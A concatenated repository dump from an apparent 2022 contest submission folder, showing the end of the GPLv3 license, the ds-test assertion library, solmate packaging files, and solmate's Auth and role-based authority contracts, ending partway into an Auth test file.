HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY
OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,
THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM
IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF
ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
16. Limitation of Liability.
IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS
THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY
GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE
USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF
DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD
PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),
EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF
SUCH DAMAGES.
17. Interpretation of Sections 15 and 16.
If the disclaimer of warranty and limitation of liability provided
above cannot be given local legal effect according to their terms,
reviewing courts shall apply local law that most closely approximates
an absolute waiver of all civil liability in connection with the
Program, unless a warranty or assumption of liability accompanies a
copy of the Program in return for a fee.
END OF TERMS AND CONDITIONS
How to Apply These Terms to Your New Programs
If you develop a new program, and you want it to be of the greatest
possible use to the public, the best way to achieve this is to make it
free software which everyone can redistribute and change under these terms.
To do so, attach the following notices to the program. It is safest
to attach them to the start of each source file to most effectively
state the exclusion of warranty; and each file should have at least
the "copyright" line and a pointer to where the full notice is found.
Copyright (C)
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see .
Also add information on how to contact you by electronic and paper mail.
If the program does terminal interaction, make it output a short
notice like this when it starts in an interactive mode:
Copyright (C)
This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
This is free software, and you are welcome to redistribute it
under certain conditions; type `show c' for details.
The hypothetical commands `show w' and `show c' should show the appropriate
parts of the General Public License. Of course, your program's commands
might be different; for a GUI interface, you would use an "about box".
You should also get your employer (if you work as a programmer) or school,
if any, to sign a "copyright disclaimer" for the program, if necessary.
For more information on this, and how to apply and follow the GNU GPL, see
.
The GNU General Public License does not permit incorporating your program
into proprietary programs. If your program is a subroutine library, you
may consider it more useful to permit linking proprietary applications with
the library. If this is what you want to do, use the GNU Lesser General
Public License instead of this License. But first, please read
.
================================================
FILE: 2022/submissions_2022/submission12_HubertRitzdorf/lib/solmate/lib/ds-test/Makefile
================================================
all:; dapp build
test:
-dapp --use solc:0.4.23 build
-dapp --use solc:0.4.26 build
-dapp --use solc:0.5.17 build
-dapp --use solc:0.6.12 build
-dapp --use solc:0.7.5 build
demo:
DAPP_SRC=demo dapp --use solc:0.7.5 build
-hevm dapp-test --verbose 3
.PHONY: test demo
================================================
FILE: 2022/submissions_2022/submission12_HubertRitzdorf/lib/solmate/lib/ds-test/default.nix
================================================
{ solidityPackage, dappsys }: solidityPackage {
name = "ds-test";
src = ./src;
}
================================================
FILE: 2022/submissions_2022/submission12_HubertRitzdorf/lib/solmate/lib/ds-test/demo/demo.sol
================================================
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity >=0.4.23;
import "../src/test.sol";
contract DemoTest is DSTest {
function test_this() public pure {
require(true);
}
function test_logs() public {
emit log("-- log(string)");
emit log("a string");
emit log("-- log_named_uint(string, uint)");
log_named_uint("uint", 512);
emit log("-- log_named_int(string, int)");
log_named_int("int", -512);
emit log("-- log_named_address(string, address)");
log_named_address("address", address(this));
emit log("-- log_named_bytes32(string, bytes32)");
log_named_bytes32("bytes32", "a string");
emit log("-- log_named_bytes(string, bytes)");
log_named_bytes("bytes", hex"cafefe");
emit log("-- log_named_string(string, string)");
log_named_string("string", "a string");
emit log("-- log_named_decimal_uint(string, uint, uint)");
log_named_decimal_uint("decimal uint", 1.0e18, 18);
emit log("-- log_named_decimal_int(string, int, uint)");
log_named_decimal_int("decimal int", -1.0e18, 18);
}
event log_old_named_uint(bytes32,uint);
function test_old_logs() public {
log_old_named_uint("key", 500);
log_named_bytes32("bkey", "val");
}
function test_trace() public view {
this.echo("string 1", "string 2");
}
function test_multiline() public {
emit log("a multiline\\n" "string");
emit log("a multiline " "string");
log_bytes("a string");
log_bytes("a multiline\n" "string");
log_bytes("a multiline\\n" "string");
emit log(unicode"Ώ");
logs(hex"0000");
log_named_bytes("0x0000", hex"0000");
logs(hex"ff");
}
function echo(string memory s1, string memory s2) public pure
returns (string memory, string memory)
{
return (s1, s2);
}
function prove_this(uint x) public {
log_named_uint("sym x", x);
assertGt(x + 1, 0);
}
function test_logn() public {
assembly {
log0(0x01, 0x02)
log1(0x01, 0x02, 0x03)
log2(0x01, 0x02, 0x03, 0x04)
log3(0x01, 0x02, 0x03, 0x04, 0x05)
}
}
event MyEvent(uint, uint indexed, uint, uint indexed);
function test_events() public {
emit MyEvent(1, 2, 3, 4);
}
function test_asserts() public {
string memory err = "this test has failed!";
emit log("## assertTrue(bool)\n");
assertTrue(false);
emit log("\n");
assertTrue(false, err);
emit log("\n## assertEq(address,address)\n");
assertEq(address(this), msg.sender);
emit log("\n");
assertEq(address(this), msg.sender, err);
emit log("\n## assertEq32(bytes32,bytes32)\n");
assertEq32("bytes 1", "bytes 2");
emit log("\n");
assertEq32("bytes 1", "bytes 2", err);
emit log("\n## assertEq(bytes32,bytes32)\n");
assertEq32("bytes 1", "bytes 2");
emit log("\n");
assertEq32("bytes 1", "bytes 2", err);
emit log("\n## assertEq(uint,uint)\n");
assertEq(uint(0), 1);
emit log("\n");
assertEq(uint(0), 1, err);
emit log("\n## assertEq(int,int)\n");
assertEq(-1, -2);
emit log("\n");
assertEq(-1, -2, err);
emit log("\n## assertEqDecimal(int,int,uint)\n");
assertEqDecimal(-1.0e18, -1.1e18, 18);
emit log("\n");
assertEqDecimal(-1.0e18, -1.1e18, 18, err);
emit log("\n## assertEqDecimal(uint,uint,uint)\n");
assertEqDecimal(uint(1.0e18), 1.1e18, 18);
emit log("\n");
assertEqDecimal(uint(1.0e18), 1.1e18, 18, err);
emit log("\n## assertGt(uint,uint)\n");
assertGt(uint(0), 0);
emit log("\n");
assertGt(uint(0), 0, err);
emit log("\n## assertGt(int,int)\n");
assertGt(-1, -1);
emit log("\n");
assertGt(-1, -1, err);
emit log("\n## assertGtDecimal(int,int,uint)\n");
assertGtDecimal(-2.0e18, -1.1e18, 18);
emit log("\n");
assertGtDecimal(-2.0e18, -1.1e18, 18, err);
emit log("\n## assertGtDecimal(uint,uint,uint)\n");
assertGtDecimal(uint(1.0e18), 1.1e18, 18);
emit log("\n");
assertGtDecimal(uint(1.0e18), 1.1e18, 18, err);
emit log("\n## assertGe(uint,uint)\n");
assertGe(uint(0), 1);
emit log("\n");
assertGe(uint(0), 1, err);
emit log("\n## assertGe(int,int)\n");
assertGe(-1, 0);
emit log("\n");
assertGe(-1, 0, err);
emit log("\n## assertGeDecimal(int,int,uint)\n");
assertGeDecimal(-2.0e18, -1.1e18, 18);
emit log("\n");
assertGeDecimal(-2.0e18, -1.1e18, 18, err);
emit log("\n## assertGeDecimal(uint,uint,uint)\n");
assertGeDecimal(uint(1.0e18), 1.1e18, 18);
emit log("\n");
assertGeDecimal(uint(1.0e18), 1.1e18, 18, err);
emit log("\n## assertLt(uint,uint)\n");
assertLt(uint(0), 0);
emit log("\n");
assertLt(uint(0), 0, err);
emit log("\n## assertLt(int,int)\n");
assertLt(-1, -1);
emit log("\n");
assertLt(-1, -1, err);
emit log("\n## assertLtDecimal(int,int,uint)\n");
assertLtDecimal(-1.0e18, -1.1e18, 18);
emit log("\n");
assertLtDecimal(-1.0e18, -1.1e18, 18, err);
emit log("\n## assertLtDecimal(uint,uint,uint)\n");
assertLtDecimal(uint(2.0e18), 1.1e18, 18);
emit log("\n");
assertLtDecimal(uint(2.0e18), 1.1e18, 18, err);
emit log("\n## assertLe(uint,uint)\n");
assertLe(uint(1), 0);
emit log("\n");
assertLe(uint(1), 0, err);
emit log("\n## assertLe(int,int)\n");
assertLe(0, -1);
emit log("\n");
assertLe(0, -1, err);
emit log("\n## assertLeDecimal(int,int,uint)\n");
assertLeDecimal(-1.0e18, -1.1e18, 18);
emit log("\n");
assertLeDecimal(-1.0e18, -1.1e18, 18, err);
emit log("\n## assertLeDecimal(uint,uint,uint)\n");
assertLeDecimal(uint(2.0e18), 1.1e18, 18);
emit log("\n");
assertLeDecimal(uint(2.0e18), 1.1e18, 18, err);
emit log("\n## assertEq(string,string)\n");
string memory s1 = "string 1";
string memory s2 = "string 2";
assertEq(s1, s2);
emit log("\n");
assertEq(s1, s2, err);
emit log("\n## assertEq0(bytes,bytes)\n");
assertEq0(hex"abcdef01", hex"abcdef02");
log("\n");
assertEq0(hex"abcdef01", hex"abcdef02", err);
}
}
contract DemoTestWithSetUp {
function setUp() public {
}
function test_pass() public pure {
}
}
================================================
FILE: 2022/submissions_2022/submission12_HubertRitzdorf/lib/solmate/lib/ds-test/src/test.sol
================================================
// SPDX-License-Identifier: GPL-3.0-or-later
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see .
pragma solidity >=0.4.23;
contract DSTest {
event log (string);
event logs (bytes);
event log_address (address);
event log_bytes32 (bytes32);
event log_int (int);
event log_uint (uint);
event log_bytes (bytes);
event log_string (string);
event log_named_address (string key, address val);
event log_named_bytes32 (string key, bytes32 val);
event log_named_decimal_int (string key, int val, uint decimals);
event log_named_decimal_uint (string key, uint val, uint decimals);
event log_named_int (string key, int val);
event log_named_uint (string key, uint val);
event log_named_bytes (string key, bytes val);
event log_named_string (string key, string val);
bool public IS_TEST = true;
bool public failed;
address constant HEVM_ADDRESS =
address(bytes20(uint160(uint256(keccak256('hevm cheat code')))));
modifier mayRevert() { _; }
modifier testopts(string memory) { _; }
function fail() internal {
failed = true;
}
modifier logs_gas() {
uint startGas = gasleft();
_;
uint endGas = gasleft();
emit log_named_uint("gas", startGas - endGas);
}
function assertTrue(bool condition) internal {
if (!condition) {
emit log("Error: Assertion Failed");
fail();
}
}
function assertTrue(bool condition, string memory err) internal {
if (!condition) {
emit log_named_string("Error", err);
assertTrue(condition);
}
}
function assertEq(address a, address b) internal {
if (a != b) {
emit log("Error: a == b not satisfied [address]");
emit log_named_address(" Expected", b);
emit log_named_address(" Actual", a);
fail();
}
}
function assertEq(address a, address b, string memory err) internal {
if (a != b) {
emit log_named_string ("Error", err);
assertEq(a, b);
}
}
function assertEq(bytes32 a, bytes32 b) internal {
if (a != b) {
emit log("Error: a == b not satisfied [bytes32]");
emit log_named_bytes32(" Expected", b);
emit log_named_bytes32(" Actual", a);
fail();
}
}
function assertEq(bytes32 a, bytes32 b, string memory err) internal {
if (a != b) {
emit log_named_string ("Error", err);
assertEq(a, b);
}
}
function assertEq32(bytes32 a, bytes32 b) internal {
assertEq(a, b);
}
function assertEq32(bytes32 a, bytes32 b, string memory err) internal {
assertEq(a, b, err);
}
function assertEq(int a, int b) internal {
if (a != b) {
emit log("Error: a == b not satisfied [int]");
emit log_named_int(" Expected", b);
emit log_named_int(" Actual", a);
fail();
}
}
function assertEq(int a, int b, string memory err) internal {
if (a != b) {
emit log_named_string("Error", err);
assertEq(a, b);
}
}
function assertEq(uint a, uint b) internal {
if (a != b) {
emit log("Error: a == b not satisfied [uint]");
emit log_named_uint(" Expected", b);
emit log_named_uint(" Actual", a);
fail();
}
}
function assertEq(uint a, uint b, string memory err) internal {
if (a != b) {
emit log_named_string("Error", err);
assertEq(a, b);
}
}
function assertEqDecimal(int a, int b, uint decimals) internal {
if (a != b) {
emit log("Error: a == b not satisfied [decimal int]");
emit log_named_decimal_int(" Expected", b, decimals);
emit log_named_decimal_int(" Actual", a, decimals);
fail();
}
}
function assertEqDecimal(int a, int b, uint decimals, string memory err) internal {
if (a != b) {
emit log_named_string("Error", err);
assertEqDecimal(a, b, decimals);
}
}
function assertEqDecimal(uint a, uint b, uint decimals) internal {
if (a != b) {
emit log("Error: a == b not satisfied [decimal uint]");
emit log_named_decimal_uint(" Expected", b, decimals);
emit log_named_decimal_uint(" Actual", a, decimals);
fail();
}
}
function assertEqDecimal(uint a, uint b, uint decimals, string memory err) internal {
if (a != b) {
emit log_named_string("Error", err);
assertEqDecimal(a, b, decimals);
}
}
function assertGt(uint a, uint b) internal {
if (a <= b) {
emit log("Error: a > b not satisfied [uint]");
emit log_named_uint(" Value a", a);
emit log_named_uint(" Value b", b);
fail();
}
}
function assertGt(uint a, uint b, string memory err) internal {
if (a <= b) {
emit log_named_string("Error", err);
assertGt(a, b);
}
}
function assertGt(int a, int b) internal {
if (a <= b) {
emit log("Error: a > b not satisfied [int]");
emit log_named_int(" Value a", a);
emit log_named_int(" Value b", b);
fail();
}
}
function assertGt(int a, int b, string memory err) internal {
if (a <= b) {
emit log_named_string("Error", err);
assertGt(a, b);
}
}
function assertGtDecimal(int a, int b, uint decimals) internal {
if (a <= b) {
emit log("Error: a > b not satisfied [decimal int]");
emit log_named_decimal_int(" Value a", a, decimals);
emit log_named_decimal_int(" Value b", b, decimals);
fail();
}
}
function assertGtDecimal(int a, int b, uint decimals, string memory err) internal {
if (a <= b) {
emit log_named_string("Error", err);
assertGtDecimal(a, b, decimals);
}
}
function assertGtDecimal(uint a, uint b, uint decimals) internal {
if (a <= b) {
emit log("Error: a > b not satisfied [decimal uint]");
emit log_named_decimal_uint(" Value a", a, decimals);
emit log_named_decimal_uint(" Value b", b, decimals);
fail();
}
}
function assertGtDecimal(uint a, uint b, uint decimals, string memory err) internal {
if (a <= b) {
emit log_named_string("Error", err);
assertGtDecimal(a, b, decimals);
}
}
function assertGe(uint a, uint b) internal {
if (a < b) {
emit log("Error: a >= b not satisfied [uint]");
emit log_named_uint(" Value a", a);
emit log_named_uint(" Value b", b);
fail();
}
}
function assertGe(uint a, uint b, string memory err) internal {
if (a < b) {
emit log_named_string("Error", err);
assertGe(a, b);
}
}
function assertGe(int a, int b) internal {
if (a < b) {
emit log("Error: a >= b not satisfied [int]");
emit log_named_int(" Value a", a);
emit log_named_int(" Value b", b);
fail();
}
}
function assertGe(int a, int b, string memory err) internal {
if (a < b) {
emit log_named_string("Error", err);
assertGe(a, b);
}
}
function assertGeDecimal(int a, int b, uint decimals) internal {
if (a < b) {
emit log("Error: a >= b not satisfied [decimal int]");
emit log_named_decimal_int(" Value a", a, decimals);
emit log_named_decimal_int(" Value b", b, decimals);
fail();
}
}
function assertGeDecimal(int a, int b, uint decimals, string memory err) internal {
if (a < b) {
emit log_named_string("Error", err);
assertGeDecimal(a, b, decimals);
}
}
function assertGeDecimal(uint a, uint b, uint decimals) internal {
if (a < b) {
emit log("Error: a >= b not satisfied [decimal uint]");
emit log_named_decimal_uint(" Value a", a, decimals);
emit log_named_decimal_uint(" Value b", b, decimals);
fail();
}
}
function assertGeDecimal(uint a, uint b, uint decimals, string memory err) internal {
if (a < b) {
emit log_named_string("Error", err);
assertGeDecimal(a, b, decimals);
}
}
function assertLt(uint a, uint b) internal {
if (a >= b) {
emit log("Error: a < b not satisfied [uint]");
emit log_named_uint(" Value a", a);
emit log_named_uint(" Value b", b);
fail();
}
}
function assertLt(uint a, uint b, string memory err) internal {
if (a >= b) {
emit log_named_string("Error", err);
assertLt(a, b);
}
}
function assertLt(int a, int b) internal {
if (a >= b) {
emit log("Error: a < b not satisfied [int]");
emit log_named_int(" Value a", a);
emit log_named_int(" Value b", b);
fail();
}
}
function assertLt(int a, int b, string memory err) internal {
if (a >= b) {
emit log_named_string("Error", err);
assertLt(a, b);
}
}
function assertLtDecimal(int a, int b, uint decimals) internal {
if (a >= b) {
emit log("Error: a < b not satisfied [decimal int]");
emit log_named_decimal_int(" Value a", a, decimals);
emit log_named_decimal_int(" Value b", b, decimals);
fail();
}
}
function assertLtDecimal(int a, int b, uint decimals, string memory err) internal {
if (a >= b) {
emit log_named_string("Error", err);
assertLtDecimal(a, b, decimals);
}
}
function assertLtDecimal(uint a, uint b, uint decimals) internal {
if (a >= b) {
emit log("Error: a < b not satisfied [decimal uint]");
emit log_named_decimal_uint(" Value a", a, decimals);
emit log_named_decimal_uint(" Value b", b, decimals);
fail();
}
}
function assertLtDecimal(uint a, uint b, uint decimals, string memory err) internal {
if (a >= b) {
emit log_named_string("Error", err);
assertLtDecimal(a, b, decimals);
}
}
function assertLe(uint a, uint b) internal {
if (a > b) {
emit log("Error: a <= b not satisfied [uint]");
emit log_named_uint(" Value a", a);
emit log_named_uint(" Value b", b);
fail();
}
}
function assertLe(uint a, uint b, string memory err) internal {
if (a > b) {
emit log_named_string("Error", err);
assertLe(a, b);
}
}
function assertLe(int a, int b) internal {
if (a > b) {
emit log("Error: a <= b not satisfied [int]");
emit log_named_int(" Value a", a);
emit log_named_int(" Value b", b);
fail();
}
}
function assertLe(int a, int b, string memory err) internal {
if (a > b) {
emit log_named_string("Error", err);
assertLe(a, b);
}
}
function assertLeDecimal(int a, int b, uint decimals) internal {
if (a > b) {
emit log("Error: a <= b not satisfied [decimal int]");
emit log_named_decimal_int(" Value a", a, decimals);
emit log_named_decimal_int(" Value b", b, decimals);
fail();
}
}
function assertLeDecimal(int a, int b, uint decimals, string memory err) internal {
if (a > b) {
emit log_named_string("Error", err);
assertLeDecimal(a, b, decimals);
}
}
function assertLeDecimal(uint a, uint b, uint decimals) internal {
if (a > b) {
emit log("Error: a <= b not satisfied [decimal uint]");
emit log_named_decimal_uint(" Value a", a, decimals);
emit log_named_decimal_uint(" Value b", b, decimals);
fail();
}
}
function assertLeDecimal(uint a, uint b, uint decimals, string memory err) internal {
if (a > b) {
emit log_named_string("Error", err);
assertGeDecimal(a, b, decimals);
}
}
function assertEq(string memory a, string memory b) internal {
if (keccak256(abi.encodePacked(a)) != keccak256(abi.encodePacked(b))) {
emit log("Error: a == b not satisfied [string]");
emit log_named_string(" Value a", a);
emit log_named_string(" Value b", b);
fail();
}
}
function assertEq(string memory a, string memory b, string memory err) internal {
if (keccak256(abi.encodePacked(a)) != keccak256(abi.encodePacked(b))) {
emit log_named_string("Error", err);
assertEq(a, b);
}
}
function checkEq0(bytes memory a, bytes memory b) internal pure returns (bool ok) {
ok = true;
if (a.length == b.length) {
for (uint i = 0; i < a.length; i++) {
if (a[i] != b[i]) {
ok = false;
}
}
} else {
ok = false;
}
}
function assertEq0(bytes memory a, bytes memory b) internal {
if (!checkEq0(a, b)) {
emit log("Error: a == b not satisfied [bytes]");
emit log_named_bytes(" Expected", a);
emit log_named_bytes(" Actual", b);
fail();
}
}
function assertEq0(bytes memory a, bytes memory b, string memory err) internal {
if (!checkEq0(a, b)) {
emit log_named_string("Error", err);
assertEq0(a, b);
}
}
}
================================================
FILE: 2022/submissions_2022/submission12_HubertRitzdorf/lib/solmate/package.json
================================================
{
"name": "@rari-capital/solmate",
"license": "AGPL-3.0-only",
"version": "6.0.0",
"description": "Modern, opinionated and gas optimized building blocks for smart contract development.",
"files": [
"src/**/*.sol"
],
"repository": {
"type": "git",
"url": "git+https://github.com/Rari-Capital/solmate.git"
},
"devDependencies": {
"prettier": "^2.3.1",
"prettier-plugin-solidity": "^1.0.0-beta.13"
},
"scripts": {
"lint": "prettier --write src/**/*.sol"
}
}
================================================
FILE: 2022/submissions_2022/submission12_HubertRitzdorf/lib/solmate/shell.nix
================================================
let
pkgs = import (builtins.fetchGit rec {
name = "dapptools-${rev}";
url = https://github.com/dapphub/dapptools;
rev = "fb9476ded759da44c449eb391cc67bfb0df61112";
}) {};
in
pkgs.mkShell {
src = null;
name = "rari-capital-solmate";
buildInputs = with pkgs; [
pkgs.dapp
];
}
================================================
FILE: 2022/submissions_2022/submission12_HubertRitzdorf/lib/solmate/src/auth/Auth.sol
================================================
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity >=0.8.0;
/// @notice Provides a flexible and updatable auth pattern which is completely separate from application logic.
/// @author Solmate (https://github.com/Rari-Capital/solmate/blob/main/src/auth/Auth.sol)
/// @author Modified from Dappsys (https://github.com/dapphub/ds-auth/blob/master/src/auth.sol)
abstract contract Auth {
event OwnerUpdated(address indexed user, address indexed newOwner);
event AuthorityUpdated(address indexed user, Authority indexed newAuthority);
address public owner;
Authority public authority;
constructor(address _owner, Authority _authority) {
owner = _owner;
authority = _authority;
emit OwnerUpdated(msg.sender, _owner);
emit AuthorityUpdated(msg.sender, _authority);
}
modifier requiresAuth() {
require(isAuthorized(msg.sender, msg.sig), "UNAUTHORIZED");
_;
}
function isAuthorized(address user, bytes4 functionSig) internal view virtual returns (bool) {
Authority auth = authority; // Memoizing authority saves us a warm SLOAD, around 100 gas.
// Checking if the caller is the owner only after calling the authority saves gas in most cases, but be
// aware that this makes protected functions uncallable even to the owner if the authority is out of order.
return (address(auth) != address(0) && auth.canCall(user, address(this), functionSig)) || user == owner;
}
function setAuthority(Authority newAuthority) public virtual {
// We check if the caller is the owner first because we want to ensure they can
// always swap out the authority even if it's reverting or using up a lot of gas.
require(msg.sender == owner || authority.canCall(msg.sender, address(this), msg.sig));
authority = newAuthority;
emit AuthorityUpdated(msg.sender, newAuthority);
}
function setOwner(address newOwner) public virtual requiresAuth {
owner = newOwner;
emit OwnerUpdated(msg.sender, newOwner);
}
}
/// @notice A generic interface for a contract which provides authorization data to an Auth instance.
/// @author Solmate (https://github.com/Rari-Capital/solmate/blob/main/src/auth/Auth.sol)
/// @author Modified from Dappsys (https://github.com/dapphub/ds-auth/blob/master/src/auth.sol)
interface Authority {
function canCall(
address user,
address target,
bytes4 functionSig
) external view returns (bool);
}
================================================
FILE: 2022/submissions_2022/submission12_HubertRitzdorf/lib/solmate/src/auth/authorities/MultiRolesAuthority.sol
================================================
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity 0.8.10;
import {Auth, Authority} from "../Auth.sol";
/// @notice Flexible and target agnostic role based Authority that supports up to 256 roles.
/// @author Solmate (https://github.com/Rari-Capital/solmate/blob/main/src/auth/authorities/MultiRolesAuthority.sol)
contract MultiRolesAuthority is Auth, Authority {
/*///////////////////////////////////////////////////////////////
EVENTS
//////////////////////////////////////////////////////////////*/
event UserRoleUpdated(address indexed user, uint8 indexed role, bool enabled);
event PublicCapabilityUpdated(bytes4 indexed functionSig, bool enabled);
event RoleCapabilityUpdated(uint8 indexed role, bytes4 indexed functionSig, bool enabled);
event TargetCustomAuthorityUpdated(address indexed target, Authority indexed authority);
/*///////////////////////////////////////////////////////////////
CONSTRUCTOR
//////////////////////////////////////////////////////////////*/
constructor(address _owner, Authority _authority) Auth(_owner, _authority) {}
/*///////////////////////////////////////////////////////////////
CUSTOM TARGET AUTHORITY STORAGE
//////////////////////////////////////////////////////////////*/
mapping(address => Authority) public getTargetCustomAuthority;
/*///////////////////////////////////////////////////////////////
ROLE/USER STORAGE
//////////////////////////////////////////////////////////////*/
mapping(address => bytes32) public getUserRoles;
mapping(bytes4 => bool) public isCapabilityPublic;
mapping(bytes4 => bytes32) public getRolesWithCapability;
function doesUserHaveRole(address user, uint8 role) public view virtual returns (bool) {
return (uint256(getUserRoles[user]) >> role) & 1 != 0;
}
function doesRoleHaveCapability(uint8 role, bytes4 functionSig) public view virtual returns (bool) {
return (uint256(getRolesWithCapability[functionSig]) >> role) & 1 != 0;
}
/*///////////////////////////////////////////////////////////////
AUTHORIZATION LOGIC
//////////////////////////////////////////////////////////////*/
function canCall(
address user,
address target,
bytes4 functionSig
) public view virtual override returns (bool) {
Authority customAuthority = getTargetCustomAuthority[target];
if (address(customAuthority) != address(0)) return customAuthority.canCall(user, target, functionSig);
return
isCapabilityPublic[functionSig] || bytes32(0) != getUserRoles[user] & getRolesWithCapability[functionSig];
}
/*///////////////////////////////////////////////////////////////
CUSTOM TARGET AUTHORITY CONFIGURATION LOGIC
//////////////////////////////////////////////////////////////*/
function setTargetCustomAuthority(address target, Authority customAuthority) public virtual requiresAuth {
getTargetCustomAuthority[target] = customAuthority;
emit TargetCustomAuthorityUpdated(target, customAuthority);
}
/*///////////////////////////////////////////////////////////////
PUBLIC CAPABILITY CONFIGURATION LOGIC
//////////////////////////////////////////////////////////////*/
function setPublicCapability(bytes4 functionSig, bool enabled) public virtual requiresAuth {
isCapabilityPublic[functionSig] = enabled;
emit PublicCapabilityUpdated(functionSig, enabled);
}
/*///////////////////////////////////////////////////////////////
USER ROLE ASSIGNMENT LOGIC
//////////////////////////////////////////////////////////////*/
function setUserRole(
address user,
uint8 role,
bool enabled
) public virtual requiresAuth {
if (enabled) {
getUserRoles[user] |= bytes32(1 << role);
} else {
getUserRoles[user] &= ~bytes32(1 << role);
}
emit UserRoleUpdated(user, role, enabled);
}
/*///////////////////////////////////////////////////////////////
ROLE CAPABILITY CONFIGURATION LOGIC
//////////////////////////////////////////////////////////////*/
function setRoleCapability(
uint8 role,
bytes4 functionSig,
bool enabled
) public virtual requiresAuth {
if (enabled) {
getRolesWithCapability[functionSig] |= bytes32(1 << role);
} else {
getRolesWithCapability[functionSig] &= ~bytes32(1 << role);
}
emit RoleCapabilityUpdated(role, functionSig, enabled);
}
}
================================================
FILE: 2022/submissions_2022/submission12_HubertRitzdorf/lib/solmate/src/auth/authorities/RolesAuthority.sol
================================================
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity >=0.8.0;
import {Auth, Authority} from "../Auth.sol";
/// @notice Role based Authority that supports up to 256 roles.
/// @author Solmate (https://github.com/Rari-Capital/solmate/blob/main/src/auth/authorities/RolesAuthority.sol)
/// @author Modified from Dappsys (https://github.com/dapphub/ds-roles/blob/master/src/roles.sol)
contract RolesAuthority is Auth, Authority {
/*///////////////////////////////////////////////////////////////
EVENTS
//////////////////////////////////////////////////////////////*/
event UserRoleUpdated(address indexed user, uint8 indexed role, bool enabled);
event PublicCapabilityUpdated(address indexed target, bytes4 indexed functionSig, bool enabled);
event RoleCapabilityUpdated(uint8 indexed role, address indexed target, bytes4 indexed functionSig, bool enabled);
/*///////////////////////////////////////////////////////////////
CONSTRUCTOR
//////////////////////////////////////////////////////////////*/
constructor(address _owner, Authority _authority) Auth(_owner, _authority) {}
/*///////////////////////////////////////////////////////////////
ROLE/USER STORAGE
//////////////////////////////////////////////////////////////*/
mapping(address => bytes32) public getUserRoles;
mapping(address => mapping(bytes4 => bool)) public isCapabilityPublic;
mapping(address => mapping(bytes4 => bytes32)) public getRolesWithCapability;
function doesUserHaveRole(address user, uint8 role) public view virtual returns (bool) {
return (uint256(getUserRoles[user]) >> role) & 1 != 0;
}
function doesRoleHaveCapability(
uint8 role,
address target,
bytes4 functionSig
) public view virtual returns (bool) {
return (uint256(getRolesWithCapability[target][functionSig]) >> role) & 1 != 0;
}
/*///////////////////////////////////////////////////////////////
AUTHORIZATION LOGIC
//////////////////////////////////////////////////////////////*/
function canCall(
address user,
address target,
bytes4 functionSig
) public view virtual override returns (bool) {
return
isCapabilityPublic[target][functionSig] ||
bytes32(0) != getUserRoles[user] & getRolesWithCapability[target][functionSig];
}
/*///////////////////////////////////////////////////////////////
ROLE CAPABILITY CONFIGURATION LOGIC
//////////////////////////////////////////////////////////////*/
function setPublicCapability(
address target,
bytes4 functionSig,
bool enabled
) public virtual requiresAuth {
isCapabilityPublic[target][functionSig] = enabled;
emit PublicCapabilityUpdated(target, functionSig, enabled);
}
function setRoleCapability(
uint8 role,
address target,
bytes4 functionSig,
bool enabled
) public virtual requiresAuth {
if (enabled) {
getRolesWithCapability[target][functionSig] |= bytes32(1 << role);
} else {
getRolesWithCapability[target][functionSig] &= ~bytes32(1 << role);
}
emit RoleCapabilityUpdated(role, target, functionSig, enabled);
}
/*///////////////////////////////////////////////////////////////
USER ROLE ASSIGNMENT LOGIC
//////////////////////////////////////////////////////////////*/
function setUserRole(
address user,
uint8 role,
bool enabled
) public virtual requiresAuth {
if (enabled) {
getUserRoles[user] |= bytes32(1 << role);
} else {
getUserRoles[user] &= ~bytes32(1 << role);
}
emit UserRoleUpdated(user, role, enabled);
}
}
================================================
FILE: 2022/submissions_2022/submission12_HubertRitzdorf/lib/solmate/src/test/Auth.t.sol
================================================
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity 0.8.10;
import {DSTestPlus} from "./utils/DSTestPlus.sol";
import {MockAuthChild} from "./utils/mocks/MockAuthChild.sol";
import {MockAuthority} from "./utils/mocks/MockAuthority.sol";
import {Authority} from "../auth/Auth.sol";
contract OutOfOrderAuthority is Authority {
function canCall(
address,
address,
bytes4
) public pure override returns (bool) {
revert("OUT_OF_ORDER");
}
}
contract AuthTest is DSTestPlus {
MockAuthChild mockAuthChild;
function setUp() public {
mockAuthChild = new MockAuthChild();
}
function testSetOwnerAsOwner() public {
mockAuthChild.setOwner(address(0xBEEF));
assertEq(mockAuthChild.owner(), address(0xBEEF));
}
